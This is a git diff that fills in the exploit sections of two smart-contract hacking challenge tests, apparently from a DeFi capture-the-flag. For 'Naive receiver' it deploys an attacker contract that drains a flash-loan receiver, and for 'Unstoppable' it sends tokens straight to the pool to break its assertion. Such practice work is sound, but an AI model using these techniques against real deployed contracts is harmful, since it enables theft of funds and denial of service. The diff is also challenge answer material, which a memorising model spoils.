diff --git a/test/naive-receiver/naive-receiver.challenge.js b/test/naive-receiver/naive-receiver.challenge.js
index 590538472..7f34640f4 100644
--- a/test/naive-receiver/naive-receiver.challenge.js
+++ b/test/naive-receiver/naive-receiver.challenge.js
@@ -31,6 +31,13 @@ describe('[Challenge] Naive receiver', function () {
 
     it('Exploit', async function () {
         /** CODE YOUR EXPLOIT HERE */   
+        const AttackerFactory = await ethers.getContractFactory('NaiveReceiverAttacker', attacker);
+        const attc = await AttackerFactory.deploy(this.pool.address, this.receiver.address);
+
+        const tx = await attc.launch(10);
+        const rec = await tx.wait();
+        expect(rec.status).to.be.equal(1);
+        // console.log(rec);
     });
 
     after(async function () {
diff --git a/test/unstoppable/unstoppable.challenge.js b/test/unstoppable/unstoppable.challenge.js
index 723981300..2140d28c2 100644
--- a/test/unstoppable/unstoppable.challenge.js
+++ b/test/unstoppable/unstoppable.challenge.js
@@ -40,6 +40,9 @@ describe('[Challenge] Unstoppable', function () {
 
     it('Exploit', async function () {
         /** CODE YOUR EXPLOIT HERE */
+        /** the pool got a strange assert, make it failed by sending the pool somme token */
+        const tenToken = ethers.utils.parseEther('10');
+        await this.token.connect(attacker).transfer(this.pool.address, tenToken);
     });
 
     after(async function () {